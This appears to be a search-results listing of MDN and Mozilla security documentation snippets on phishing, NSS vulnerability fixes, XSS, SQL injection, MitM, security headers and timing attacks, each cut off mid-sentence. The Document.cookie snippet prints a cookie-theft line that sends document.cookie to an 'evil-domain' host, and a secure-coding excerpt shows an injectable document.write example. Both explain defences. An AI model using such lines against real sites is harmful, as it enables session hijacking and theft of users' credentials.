Phishing: a short definition
an attempt to collect sensitive information, such as usernames, passwords, and financial details by disguising as a trustworthy entity online. a relatively simple, yet effective, phishing scheme is sending an email with a fake invoice of a person’s favorite shopping site. this email will usually contain a link pretending to lead to the original service, but in reality, taking the victim to an attacker-controlled website. the login portal might resemble the trusted website's login page very closely, and convince users to enter their credentials, letting others hijack their account. past and current countermeasures various technical, and social approaches, exist to combat phishing attacks. none of these are sufficient by themselves, so we see a mix of these deployed by various services. the ...
...ndicators, presented at the 2007 ieee symposium on security and privacy, suggests that the above countermeasures fail to protect the majority of users. this too, includes missing https or ev certificate indicators in a browser’s navigation bar. services assuming responsibility technical solutions can be more efficient if implemented to protect millions of users automatically. as most phishing attacks start with unsolicited email messages, a clear starting point is improving spam filters, thus reducing the number of fraudulent messages reaching users. web browser vendors too, are interested in protecting their users from phishing. after all, the browser plays an essential role in the scheme: a fake website is loaded in a browser and here is the maker’s last chance to preventing fraud. sinc...
...code, representing a hashed version of the secret key and a nonce - potentially time-based. otp is the most widely supported second factor schemes and can be used to secure your most important accounts. unfortunately, some users still feel it's too tedious unlocking a phone, opening the otp app, and manually typing a few digits each time a provider requests a new token. this can be phished by an attacker, though with totp apps the attacker has limited time to make their unauthorized login. ...
NSS 3.14.3 release notes
dded, mac-then-encrypted block of data. ckm_nss_ssl3_mac_constant_time - constant-time mac operation for use when verifying a padded, mac-then-encrypted block of data using the sslv3 mac. ...
...ration for use when verifying a padded, mac-then-encrypted block of data using the sslv3 mac. notable changes in nss 3.14.3 cve-2013-1620 recent research by nadhem alfardan and kenny patterson has highlighted a weakness in the handling of cbc padding as used in ssl, tls, and dtls that allows an attacker to exploit timing differences in mac processing. the details of their research and the attack can be found at http://www.isg.rhul.ac.uk/tls/, and has been referred to as "lucky thirteen". ...
...son has highlighted a weakness in the handling of cbc padding as used in ssl, tls, and dtls that allows an attacker to exploit timing differences in mac processing. the details of their research and the attack can be found at http://www.isg.rhul.ac.uk/tls/, and has been referred to as "lucky thirteen". nss 3.14.3 includes changes to the softoken and ssl libraries to address and mitigate these attacks, contributed by adam langley of google. this attack is mitigated when using nss 3.14.3 with an nss cryptographic module ("softoken") version 3.14.3 or later. however, this attack is only partially mitigated if nss 3.14.3 is used with the current fips validated nss cryptographic module, version 3.12.9.1. bug 840714 - "certutil -a" was not correctly producing ascii output as requested. bug ...
sslerr.html
is disabled in the local client's configuration. ssl_error_bad_mac_read -12273 "ssl received a record with an incorrect message authentication code." this usually indicates that the client and server have failed to come to agreement on the set of keys used to encrypt the application data and to check message integrity. if this occurs frequently on a server, an active attack (such as the "million question" attack) may be underway against the server. ssl_error_bad_mac_alert -12272 "ssl peer reports incorrect message authentication code." the remote system has reported that it received a message with a bad message authentication code from the local system. this may indicate that an attack on that server is underway. ssl_error_bad_cer...
...g -12264 "ssl received a record with bad block padding." ssl was using a block cipher, and the last block in an ssl record had incorrect padding information in it. this usually indicates that the client and server have failed to come to agreement on the set of keys used to encrypt the application data and to check message integrity. if this occurs frequently on a server, an active attack (such as the "million question" attack) may be underway against the server. ssl_error_rx_record_too_long -12263 "ssl received a record that exceeded the maximum permissible length." this generally indicates that the remote peer system has a flawed implementation of ssl, and is violating the ssl specification. ssl_error_tx_record_too_long -12262 "ss...
...t, indicates a failure of one of the following: (a) to unwrap the pre-master secret from the clientkeyexchange message, (b) to derive the master secret from the premaster secret, (c) to derive the mac secrets, cryptographic keys, and initialization vectors from the master secret. if encountered repeatedly on a server socket, this can indicate that the server is actively under a "million question" attack. ssl_error_decompression_failure -12177 "ssl received a compressed record that could not be decompressed." sec error codes table 8.2 security error codes defined in secerr.h constant value description sec_error_io -8192 an i/o error occurred during authentication; or an error occurred during crypto operation (other than signature ver...
Secure Development Guidelines
asic registers (eax, ebx, ecx, edx, edi, esi) 2 stack-related registers (esp, ebp) mark top and bottom of current stack frame status register (eflags) contains various state information instruction pointer (eip) points to register being executed; can’t be modified directly introduction: gaining control (2) eip is modified using call or jump instructions attacks usually rely on obtaining control over the eip otherwise the attacker can try to control memory pointed to by an existing function pointer a vulnerability is required to modify the eip or sensitive memory saved return addr or function pointer get altered introduction: gaining control (3) common issues used to gain control buffer overflows format string bugs integer overflows/...
... xss: example the following snippet of javascript: document.write("welcome to " + document.location); ... is exploitable (in some browser...
... to the user html encoding &amp; → & &lt; → < &gt; → > &quot; → " &apos; → ' url encoding % encoding java/vbscript escaping depends on the context; in a single-quoted string, escaping ' would suffice sql injection occurs when un-trusted input is mixed with a sql string sql is a language used to interact with databases code injection attack that is similar to xss but targeted at sql rather than html and javascript if input is mixed with sql, it could itself become an sql instruction and be used to: query data from the database (passwords) insert value into the database (a user account) change application logic based on results returned by the database sql injection: example snprintf(str, sizeof(str), "...
Index - HTTP
Web › HTTP › Headers › Index
l message belongs. 28 content-security-policy csp, http, reference, security, header the http content-security-policy response header allows web site administrators to control resources the user agent is allowed to load for a given page. with a few exceptions, policies mostly involve specifying server origins and script endpoints. this helps guard against cross-site scripting attacks (xss). 29 csp: base-uri csp, directive, document directive, http, security the http content-security-policy base-uri directive restricts the urls which can be used in a document's <base> element. if this value is absent, then any uri is allowed. if this directive is absent, the user agent will use the value in the <base> element. 30 csp: block-all-mixed-content ...
...ntials to authenticate a user agent to a proxy server, usually after the server has responded with a 407 proxy authentication required status and the proxy-authenticate header. 91 public-key-pins hpkp, http, reference, security, header the http public-key-pins response header associates a specific cryptographic public key with a certain web server to decrease the risk of mitm attacks with forged certificates. if one or several keys are pinned and none of them are used by the server, the browser will not accept the response as legitimate, and will not display it. 92 public-key-pins-report-only hpkp, http, security, header the http public-key-pins-report-only response header sends reports of pinning violation to the report-uri specified in the header but, ...
...between the client and the load balancer, the x-forwarded-proto request header can be used. 121 x-frame-options gecko, haproxy, http, response header, security, nginx the x-frame-options http response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>, <iframe>, <embed> or <object> . sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites. 122 x-xss-protection http, reference, security, xss, header the http x-xss-protection response header is a feature of internet explorer, chrome and safari that stops pages from loading when they detect reflected cross-site scripting (xss) attacks. although these protections are largely unnecessary in modern br...
Strict-Transport-Security - HTTP
preloading strict transport security for details. not part of the specification. description if a website accepts a connection through http and redirects to https, visitors may initially communicate with the non-encrypted version of the site before being redirected, if, for example, the visitor types http://www.foo.com/ or even just foo.com. this creates an opportunity for a man-in-the-middle attack. the redirect could be exploited to direct visitors to a malicious site instead of the secure version of the original site. the http strict transport security header informs the browser that it should never load a site using http and should automatically convert all attempts to access the site using http to https requests instead. note: the strict-transport-security header is ignored by the bro...
...ious site instead of the secure version of the original site. the http strict transport security header informs the browser that it should never load a site using http and should automatically convert all attempts to access the site using http to https requests instead. note: the strict-transport-security header is ignored by the browser when your site is accessed using http; this is because an attacker may intercept http connections and inject the header or remove it. when your site is accessed over https with no certificate errors, the browser knows your site is https capable and will honor the strict-transport-security header. an example scenario you log into a free wifi access point at an airport and start surfing the web, visiting your online banking service to check your balance and pa...
... clone of your bank's site instead of the real thing. now your private data is exposed to the hacker. strict transport security resolves this problem; as long as you've accessed your bank's web site once using https, and the bank's web site uses strict transport security, your browser will know to automatically use only https, which prevents hackers from performing this sort of man-in-the-middle attack. how the browser handles it the first time your site is accessed using https and it returns the strict-transport-security header, the browser records this information, so that future attempts to load the site using http will automatically use https instead. when the expiration time specified by the strict-transport-security header elapses, the next attempt to load the site via http will procee...
X-XSS-Protection - HTTP
although these protections are largely unnecessary in modern browsers when sites implement a strong content-security-policy that disables the use of inline javascript ('unsafe-inline'), they can still provide protections for users of older web browsers that don't yet support csp. ...
...use content-security-policy without allowing unsafe-inline scripts instead. header type response header forbidden header name no syntax x-xss-protection: 0 x-xss-protection: 1 x-xss-protection: 1; mode=block x-xss-protection: 1; report=<reporting-uri> 0 disables xss filtering. 1 enables xss filtering (usually default in browsers). if a cross-site scripting attack is detected, the browser will sanitize the page (remove the unsafe parts). 1; mode=block enables xss filtering. rather than sanitizing the page, the browser will prevent rendering of the page if an attack is detected. 1; report=<reporting-uri> (chromium only) enables xss filtering. if a cross-site scripting attack is detected, the browser will sanitize the page and report the violation. this ...
...e page, the browser will prevent rendering of the page if an attack is detected. 1; report=<reporting-uri> (chromium only) enables xss filtering. if a cross-site scripting attack is detected, the browser will sanitize the page and report the violation. this uses the functionality of the csp report-uri directive to send a report. example block pages from loading when they detect reflected xss attacks: x-xss-protection: 1; mode=block php header("x-xss-protection: 1; mode=block"); apache (.htaccess) <ifmodule mod_headers.c> header set x-xss-protection "1; mode=block" </ifmodule> nginx add_header "x-xss-protection" "1; mode=block"; specifications not part of any specifications or drafts. ...
Planned changes to shared memory - JavaScript
there is standardization work ongoing that enables developers to create sharedarraybuffer objects again, but changes are needed in order to be use these across threads (i.e., postmessage() for sharedarraybuffer objects throws by default). these changes provide further isolation between sites and help reduce the impact of attacks with high-resolution timers, which can be created with shared memory. ...
...hared memory. starting with firefox 79, the features described in this document are enabled by default. chrome intends to implement similar restrictions. new http header bonanza as a baseline requirement, documents will need to be in a secure context. for top-level documents, two headers will need to be set: cross-origin-opener-policy with same-origin as value (protects your origin from attackers) cross-origin-embedder-policy with require-corp as value (protects victims from your origin) with these two headers set, postmessage() will no longer throw for sharedarraybuffer objects and shared memory across threads is therefore available. nested documents and dedicated workers will need to set the cross-origin-embedder-policy header as well with the same value. no further changes are n...
...nd subresources. same-site (but cross-origin) nested documents and subresources will need to set the cross-origin-resource-policy header with same-site as value. and their cross-origin (and cross-site) counterparts need to set the same header with cross-origin as value. note that setting the cross-origin-resource-policy header to any other value than same-origin opens up the resource to potential attacks, such as spectre. note that the cross-origin-opener-policy header limits your ability to retain a reference to popups. direct access between two top-level window contexts will essentially only work if they are same-origin and carry the same two headers with the same two values. api changes as a result of this newly required environment, there are a couple api implications: the atomics obje...
Privacy, permissions, and information security
to gather a variety of information that's made available by a user's browser and collating it until it becomes possible to uniquely identify that user's browser. even seemingly innocuous information can in principle be used in the fingerprinting process, though the more unique the information is to the particular device the better. modern browsers take steps to help prevent fingerprinting-based attacks by either not allowing information to be accessed or, where the information must be made available, by introducing variations that prevent it from being used for identification purposes. for example, if a web site queries a user's browser for the elapsed time, a comparison of that time to the time as reported by the server might be useful as a factor in fingerprinting. because of this, browsers...
... certificate transparency an open standard for monitoring and auditing certificates, creating a database of public logs that can be used to help identify incorrect or malicious certificates content security policy provides the ability to define the extent to which a document's content can be accessed by other devices over the web; used in particular to prevent or mitigate attacks on the server feature policy lets web developers selectively enable, disable, and modify the behavior of certain features and apis both for a document and for subdocuments loaded in <iframe>s <iframe>'s allow attribute technically part of feature policy, the allow attribute on an <iframe> specifies which web features the document in the frame should be allowed to access ...
... <iframe>'s allow attribute technically part of feature policy, the allow attribute on an <iframe> specifies which web features the document in the frame should be allowed to access http public key pinning (hpkp) hpkp is used by servers to instruct a client to associate a specific public key with the server going forward in order to decrease the likelihood of man-in-the-middle attacks http strict transport security (hsts) hsts is used by servers to let them protect themselves from protocol downgrade and cookie hijack attacks by letting sites tell clients that they can only use https to communicate with the server http/2 while http/2 technically does not have to use encryption, most browser developers are only supporting it when used with https, so it c...
Insecure passwords - Web security
if a website uses http instead of https, it is trivial to steal user information (such as their login credentials). this was famously demonstrated by firesheep. ...
... that can be used against them to extract a user’s password. network eavesdroppers could steal a user's password by sniffing the network, or by modifying the served page in transit. the https protocol is designed to protect user data from eavesdropping (confidentiality) and from modification (integrity) on the network. websites that handle user data should use https to protect their users from attackers. if a website uses http instead of https, it is trivial to steal user information (such as their login credentials). this was famously demonstrated by firesheep. to fix this issue, install and configure an ssl/tls certificate onto your server. there are various vendors offering free and paid certificates. if you are using a cloud platform, it may have its own ways of enabling https. note on ...
... site and their user credentials. unfortunately, password reuse is a big problem. users use the same password across multiple sites (news websites, social networks, email providers, banks). hence, even if access to the username and password to your site doesn't seem like a huge risk to you, it is a great risk to users who have used the same username and password to log in to their bank accounts. attackers are getting smarter; they steal username/password pairs from one site and then try reusing them on more lucrative sites. ...
Securing your site - Web security
ack the next time the user visits your site. for certain types of data, you may wish to disable this feature. privacy and the :visited selector this article discusses changes made to the getcomputedstyle() method that eliminates the ability for malicious sites to figure out the user's browsing history. hash passwords using a secure algorithm (owasp) storing passwords in plain text can lead to attackers knowing and leaking the exact password of your site's users, potentially putting the users at risk. the same issues can arise if you use an old or insecure algorithm for hashing (such as md5). you should use a password-specific hashing algorithm (such as argon2, pbkdf2, scrypt or bcrypt) instead of message digest algorithms (such as md5 and sha). this article showcases best practices to use wh...
...cess control the cross-origin resource sharing standard provides a way to specify what content may be loaded from other domains. you can use this to prevent your site from being used improperly; in addition, you can use it to establish resources that other sites are expressly permitted to use. content security policy an added layer of security that helps to detect and mitigate certain types of attacks, including cross site scripting (xss) and data injection attacks. these attacks are used for everything from data theft to site defacement or distribution of malware. code is executed by the victims and lets the attackers bypass access controls and impersonate users. according to the open web application security project, xss was the seventh most common web app vulnerability in 2017. the x-fram...
... access control by configuring a website it is the best way to secure your site. you can ignore specific ips, restrict access to certain areas of website, protect different files, protect against image hotlinking, and a lot more. for example, .htaccess file is used for websites hosted on apache http server. ...
Encryption and Decryption - Archive of obsolete content
etween two recipients. one method of breaking a symmetric algorithm is to simply try every key within the full algorithm until the right key is found. for public key algorithms, since half of the key pair is publicly known, the other half (private key) can be derived using published, though complex, mathematical calculations. manually finding the key to break an algorithm is called a brute force attack. breaking an algorithm introduces the risk of intercepting, or even impersonating and fraudulently verifying, private information. the key strength of an algorithm is determined by finding the fastest method to break the algorithm and comparing it to a brute force attack. for symmetric keys, encryption strength is often described in terms of the size or length of the keys used to perform the e...
...the rc4 symmetric-key cipher supported by ssl provide significantly better cryptographic protection than 40-bit keys for use with the same cipher. roughly speaking, 128-bit rc4 encryption is 3 x 1026 times stronger than 40-bit rc4 encryption. (for more information about rc4 and other ciphers used with ssl, see "introduction to ssl.") an encryption key is considered full strength if the best known attack to break the key is no faster than a brute force attempt to test every key possibility. different ciphers may require different key lengths to achieve the same level of encryption strength. the rsa cipher used for public-key encryption, for example, can use only a subset of all possible values for a key of a given length, due to the nature of the mathematical problem on which it is based. other ...
MitM - MDN Web Docs Glossary: Definitions of Web-related terms
a man-in-the-middle attack (mitm) intercepts a communication between two systems. for example, a wi-fi router can be compromised. comparing this to physical mail: if you're writing letters to each other, the mailman can intercept each letter you mail. they open it, read it, eventually modify it, and then repackage the letter and only then send it to whom you intended to sent the letter for. the original recipient would then mail you a letter back, and the mailman would again open the letter, read it, eventually modify it, repackage it, and give it to you. you wouldn't know there's a man in the middle in your communication channel – the mailman is invisible to you and to your recipient. in physical mail and in online communication, mitm attacks are tough to defend. a few tips: don'...
... communication, mitm attacks are tough to defend. a few tips: don't just ignore certificate warnings. you could be connecting to a phishing server or an imposter server. sensitive sites without https encryption on public wi-fi networks aren't trustworthy. check for https in your address bar and ensure encryption is in-place before logging in. learn more owasp article: man-in-the-middle attack wikipedia: man-in-the-middle attack the public-key-pins header (hpkp) can significantly decrease the risk of mitm by instructing browsers to require a whitelisted certificate for all subsequent connections to that website. ...
MDN Web Docs Glossary: Definitions of Web-related terms
descriptor (css) deserialization developer tools dhtml digest digital certificate distributed denial of service dmz dns doctype document directive document environment dom (document object model) domain domain name domain sharding dominator dos attack dtls (datagram transport layer security) dtmf (dual-tone multi-frequency signaling) dynamic programming language dynamic typing e ecma ecmascript effective connection type element empty element encapsulation encryption endianness engine entity enti...
...webp webrtc websockets webvtt whatwg whitespace world wide web wrapper x xforms xhr (xmlhttprequest) xhtml xinclude xlink xml xpath xquery xslt other 404 502 alpn at-rule attack byte-order mark character set client cryptosystem debug digital signature execution flex-direction glsl interface library memory management routers self-executing anonymous function stylesheet vector image ...
Server-side web frameworks - Learn web development
k.a. "web application frameworks") are software frameworks that make it easier to write, maintain and scale web applications. they provide tools and libraries that simplify common web development tasks, including routing urls to appropriate handlers, interacting with databases, supporting sessions and user authorization, formatting output (e.g. html, json, xml), and improving security against web attacks. the next section provides a bit more detail about how web frameworks can ease web application development. we then explain some of the criteria you can use for choosing a web framework, and then list some of your options. what can a web framework do for you? web frameworks provide tools and libraries to simplify common web development operations. you don't have to use a server-side web frame...
... you may need to scale horizontally (share the load by distributing your site across a number of web servers and databases) or scale "geographically" because some of your customers are based a long way away from your server. the web framework you choose can make a big difference on how easy it is to scale your site. web security: some web frameworks provide better support for handling common web attacks. django for example sanitises all user input from html templates so that user-entered javascript cannot be run. other frameworks provide similar protection, but it is not always enabled by default. there are many other possible factors, including licensing, whether or not the framework is under active development, etc. if you're an absolute beginner at programming then you'll probably choose ...
An overview of NSS Internals
of arenas makes sure that all individual memory blocks are tracked. once a task is done, regardless whether it completed or was aborted, the programmer simply needs to release the arena, and all individually allocated blocks will be released automatically. often freeing is combined with immediately erasing (zeroing, zfree) the memory associated to the arena, in order to make it more difficult for attackers to extract keys from a memory dump. nss uses many c data structures. often nss has multiple implementations for the same or similar concepts. for example, there are multiple presentations of certificates, and the nss internals (and sometimes even the application using nss) might have to convert between them. key responsibilites of nss are verification of signatures and certificates. in o...
... standalone nss build instructions, and build nss outside of the mozilla application sources. the key database file will contain at least one symmetric key, which nss will automatically create on demand, and which will be used to protect your secret (private) keys. the symmetric key can be protected with pbe by setting a master password on the database. as soon as you set a master password, an attacker stealing your key database will no longer be able to get access to your private key, unless the attacker would also succeed in stealing the master password. now you might be interest in how to get the nss sources, building and testing nss. ...
Index
of arenas makes sure that all individual memory blocks are tracked. once a task is done, regardless whether it completed or was aborted, the programmer simply needs to release the arena, and all individually allocated blocks will be released automatically. often freeing is combined with immediately erasing (zeroing, zfree) the memory associated to the arena, in order to make it more difficult for attackers to extract keys from a memory dump. nss uses many c data structures. often nss has multiple implementations for the same or similar concepts. for example, there are multiple presentations of certificates, and the nss internals (and sometimes even the application using nss) might have to convert between them. key responsibilites of nss are verification of signatures and certificates. in o...
... standalone nss build instructions, and build nss outside of the mozilla application sources. the key database file will contain at least one symmetric key, which nss will automatically create on demand, and which will be used to protect your secret (private) keys. the symmetric key can be protected with pbe by setting a master password on the database. as soon as you set a master password, an attacker stealing your key database will no longer be able to get access to your private key, unless the attacker would also succeed in stealing the master password. now you might be interest in how to get the nss sources, building and testing nss. 3 building nss guide, nss, security this page has detailed information on how to build nss. because nss is a cross-platform library t...
NSS 3.19.2.1 release notes
curity-relevant bugs have been resolved in nss 3.19.2.1. users are encouraged to upgrade immediately. bug 1192028 (cve-2015-7181) and bug 1202868 (cve-2015-7182): several issues existed within the asn.1 decoder used by nss for handling streaming ber data. while the majority of nss uses a separate, unaffected der decoder, several public routines also accept ber data, and thus are affected. an attacker that successfully exploited these issues can overflow the heap and may be able to obtain remote code execution. the following security-relevant bugs have been resolved in nspr 4.10.10, which affect nss. because nss includes portions of the affected nspr code at build time, it is necessary to use nspr 4.10.10 when building nss. bug 1205157 (nspr, cve-2015-7183): a logic bug in the handli...
... resolved in nspr 4.10.10, which affect nss. because nss includes portions of the affected nspr code at build time, it is necessary to use nspr 4.10.10 when building nss. bug 1205157 (nspr, cve-2015-7183): a logic bug in the handling of large allocations would allow exceptionally large allocations to be reported as successful, without actually allocating the requested memory. this may allow attackers to bypass security checks and obtain control of arbitrary memory. new in nss 3.19.2.1 new functionality no new functionality is introduced in this release. this is a patch release to fix security-relevant bugs. compatibility nss 3.19.2.1 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with ns...
NSS 3.19.4 release notes
security-relevant bugs have been resolved in nss 3.19.4. users are encouraged to upgrade immediately. bug 1192028 (cve-2015-7181) and bug 1202868 (cve-2015-7182): several issues existed within the asn.1 decoder used by nss for handling streaming ber data. while the majority of nss uses a separate, unaffected der decoder, several public routines also accept ber data, and thus are affected. an attacker that successfully exploited these issues can overflow the heap and may be able to obtain remote code execution. the following security-relevant bugs have been resolved in nspr 4.10.10, which affect nss. because nss includes portions of the affected nspr code at build time, it is necessary to use nspr 4.10.10 when building nss. bug 1205157 (nspr, cve-2015-7183): a logic bug in the handli...
... resolved in nspr 4.10.10, which affect nss. because nss includes portions of the affected nspr code at build time, it is necessary to use nspr 4.10.10 when building nss. bug 1205157 (nspr, cve-2015-7183): a logic bug in the handling of large allocations would allow exceptionally large allocations to be reported as successful, without actually allocating the requested memory. this may allow attackers to bypass security checks and obtain control of arbitrary memory. new in nss 3.19.4 new functionality no new functionality is introduced in this release. this is a patch release to fix security-relevant bugs. compatibility nss 3.19.4 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.
NSS 3.20.1 release notes
security-relevant bugs have been resolved in nss 3.20.1. users are encouraged to upgrade immediately. bug 1192028 (cve-2015-7181) and bug 1202868 (cve-2015-7182): several issues existed within the asn.1 decoder used by nss for handling streaming ber data. while the majority of nss uses a separate, unaffected der decoder, several public routines also accept ber data, and thus are affected. an attacker that successfully exploited these issues can overflow the heap and may be able to obtain remote code execution. the following security-relevant bugs have been resolved in nspr 4.10.10, which affect nss. because nss includes portions of the affected nspr code at build time, it is necessary to use nspr 4.10.10 when building nss. bug 1205157 (nspr, cve-2015-7183): a logic bug in the handli...
... resolved in nspr 4.10.10, which affect nss. because nss includes portions of the affected nspr code at build time, it is necessary to use nspr 4.10.10 when building nss. bug 1205157 (nspr, cve-2015-7183): a logic bug in the handling of large allocations would allow exceptionally large allocations to be reported as successful, without actually allocating the requested memory. this may allow attackers to bypass security checks and obtain control of arbitrary memory. new in nss 3.20.1 new functionality no new functionality is introduced in this release. this is a patch release to fix security-relevant bugs. compatibility nss 3.20.1 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.
NSS 3.24 release notes
otocol still supports processing of received v2-compatible client hello messages. disable (by default) nss support in optimized builds for logging ssl/tls key material to a logfile if the sslkeylogfile environment variable is set. to enable the functionality in optimized builds, you must define the symbol nss_allow_sslkeylogfile when building nss. update nss to protect it against the cachebleed attack. disable support for dtls compression. improve support for tls 1.3. this includes support for dtls 1.3. note that tls 1.3 support is experimental and not suitable for production use. bugs fixed in nss 3.24 this bugzilla query returns all the bugs fixed in nss 3.24: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_mi...
...t is experimental and not suitable for production use. bugs fixed in nss 3.24 this bugzilla query returns all the bugs fixed in nss 3.24: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.24 acknowledgements the nss development team would like to thank yuval yarom for responsibly disclosing the cachebleed attack by providing advance copies of their research. compatibility nss 3.24 shared libraries are backward-compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.24 shared libraries without recompiling or relinking. furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will re...
JSAPI User Guide
ind of application, it's important to think through the security concerns ahead of time. your application will need to do several things. deploy security updates - firefox automatically installs updates, so security fixes are deployed as soon as they are available. ...
...ough the security concerns ahead of time. your application will need to do several things. deploy security updates - firefox automatically installs updates, so security fixes are deployed as soon as they are available. unless you also regularly deploy spidermonkey security updates, a determined hacker could use publicly known bugs in the engine to attack your application. note that the kind of attack we're talking about here is where a hacker uses javascript to attack the c++ code of the engine itself (or your embedding). the rest of the items in this list talk about security issues that arise within javascript itself, even if the engine is working properly. block simple denial-of-service attacks - a program like while(true){} should not hang your application. to stop execution of scripts th...
Handling Mozilla Security Bugs
d or otherwise) to mozilla, although obviously many of the same people will be involved in both sets of activities. background security vulnerabilities are different from other bugs, because their consequences are potentially so severe: users' private information (including financial information) could be exposed, users' data could be destroyed, and users' systems could be used as platforms for attacks on other systems. thus people have strong feelings about how security-related bugs are handled, and in particular about the degree to which information about such bugs is publicly disclosed. the mozilla project is a public software development project, and thus we have an inherent bias towards openness. in particular, we understand and acknowledge the concerns of those who believe that all info...
...eloper time from organizations that use (or plan to use) mozilla code in their own product offerings. some of these products may be used by large populations of end users, many of whom may not often upgrade or check for recent security fixes. we understand and acknowledge the concerns of those who believe that too-hasty disclosure of exploit details can provide a short-term advantage to potential attackers, who can exploit a problem before most end users become aware of its existence. we believe that both sets of concerns are valid, and that both are worth addressing as best we can. we have attempted to create a compromise scheme for how the mozilla project will handle reports of security vulnerabilities. we believe that it is a compromise that can be justified to those on both sides of the que...
Xray vision
ess objects created by less privileged code, by showing the caller only the native version of the objects. gecko runs javascript from a variety of different sources and at a variety of different privilege levels. the javascript code that along with the c++ core, implements the browser itself is called chrome code and runs using system privileges. if chrome-privileged code is compromised, the attacker can take over the user's computer. javascript loaded from normal web pages is called content code. because this code is being loaded from arbitrary web pages, it is regarded as untrusted and potentially hostile, both to other websites and to the user. as well as these two levels of privilege, chrome code can create sandboxes. the security principal defined for the sandbox determines its privi...
... original implementation, not the redefined version. so in the example above, chrome code calling the content's window.confirm() would get the original version of confirm(), not the redefined version. it's worth emphasizing that even if content tricks chrome into running some unexpected code, that code does not run with chrome privileges. so this is not a straightforward privilege escalation attack, although it might lead to one if the chrome code is sufficiently confused. how you get xray vision privileged code automatically gets xray vision whenever it accesses objects belonging to less-privileged code. so when chrome code accesses content objects, it sees them with xray vision: // chrome code var transfer = gbrowser.contentwindow.confirm("transfer all my money?"); // calls the native...
Document.cookie - Web APIs
Web › API › Document › cookie
before chrome 52, this flag could appear with cookies from http domains. ;samesite samesite prevents the browser from sending this cookie along with cross-site requests. possible values are lax, strict or none. the lax value value will send the cookie for all same-site requests and top-level navigation get requests. this is sufficient for user tracking, but it will prevent many csrf attacks. this is the default value in modern browsers. the strict value will prevent the cookie from being sent by the browser to the target site in all cross-site browsing contexts, even when following a regular link. the none value explicitly states no restrictions will be applied. the cookie will be sent in all requests—both cross-site and same-site. the cookie value string...
...authenticated session. so stealing the cookie from a web application, will lead to hijacking the authenticated user's session. common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript. read more about cookies and security. notes starting with firefox 2, a better mechanism for client-side storage is available - whatwg dom storage. you can delete a cookie by simply updating its expiration time to zero. keep in mind that the more cookies you have, the more data will be transferred between the server and the client for ...
DynamicsCompressorNode - Web APIs
d where the curve smoothly transitions to the compressed portion. dynamicscompressornode.ratio read only is a k-rate audioparam representing the amount of change, in db, needed in the input for a 1 db change in the output. dynamicscompressornode.reduction read only is a float representing the amount of gain reduction currently applied by the compressor to the signal. dynamicscompressornode.attack read only is a k-rate audioparam representing the amount of time, in seconds, required to reduce the gain by 10 db. dynamicscompressornode.release read only is a k-rate audioparam representing the amount of time, in seconds, required to increase the gain by 10 db. methods no specific methods; inherits methods from its parent, audionode. example the below code demonstrates a simple usage...
... a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // create a compressor node var compressor = audioctx.createdynamicscompressor(); compressor.threshold.setvalueattime(-50, audioctx.currenttime); compressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); // connect the audiobuffersourcenode to the destination source.connect(audioctx.destination); button.onclick = function() { var active = button.getattribute('data-active'); if(active == 'false') { button.setattribute('data-active', 'true'); button.innerhtml = 'remove compression';...
Index - Web APIs
Web › API › Index
audio api inherits properties from its parent, audionode. 1057 dynamicscompressornode() audio, constructor, dynamicscompressornode, media, web audio api the dynamicscompressornode() constructor creates a new dynamicscompressornode object which provides a compression effect, which lowers the volume of the loudest parts of the signal 1058 dynamicscompressornode.attack api, attack, dynamicscompressornode, property, reference, web audio api an audioparam. 1059 dynamicscompressornode.knee api, dynamicscompressornode, property, reference, référence(2), web audio api, knee an audioparam. 1060 dynamicscompressornode.ratio api, dynamicscompressornode, property, reference, web audio api, ratio an audioparam. ...
...crypto api, html dom, property, reference, window the window.crypto property returns the crypto object associated to the global object. this object allows web pages access to certain cryptographic related services. although the window.crypto property itself is read-only, all of its methods (and the methods of its child object, subtlecrypto) are not read-only, and therefore vulnerable to attack by polyfill. 4908 window.customelements api, customelementregistry, property, reference, web components, window, custom elements, customelements the customelements read-only property of the window interface returns a reference to the customelementregistry object, which can be used to register new custom elements and get information about previously registered custom elements.
performance.now() - Web APIs
Web › API › Performance › now
up to microsecond precision. also unlike date.now(), the values returned by performance.now() always increase at a constant rate, independent of the system clock (which might be adjusted manually or skewed by software like ntp). otherwise, performance.timing.navigationstart + performance.now() will be approximately equal to date.now(). reduced time precision to offer protection against timing attacks and fingerprinting, the precision of performance.now() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 1ms. // reduced time precision (1ms) in firefox 60 performance.now(); // 8781416 // 8781815 // 8782206 // ... // reduced time precision with `privacy.resistfingerprinting` enabled performance.now(...
...h resolution timers can be used if you cross-origin isolate your document using the cross-origin-opener-policy and cross-origin-embedder-policy headers: cross-origin-opener-policy: same-origin cross-origin-embedder-policy: require-corp these headers ensure a top-level document does not share a browsing context group with cross-origin documents. coop process-isolates your document and potential attackers can't access to your global object if they were opening it in a popup, preventing a set of cross-origin attacks dubbed xs-leaks. specifications specification status comment high resolution time level 2the definition of 'performance.now()' in that specification. recommendation stricter definitions of interfaces and types. high resolution timethe definiti...
SubtleCrypto.encrypt() - Web APIs
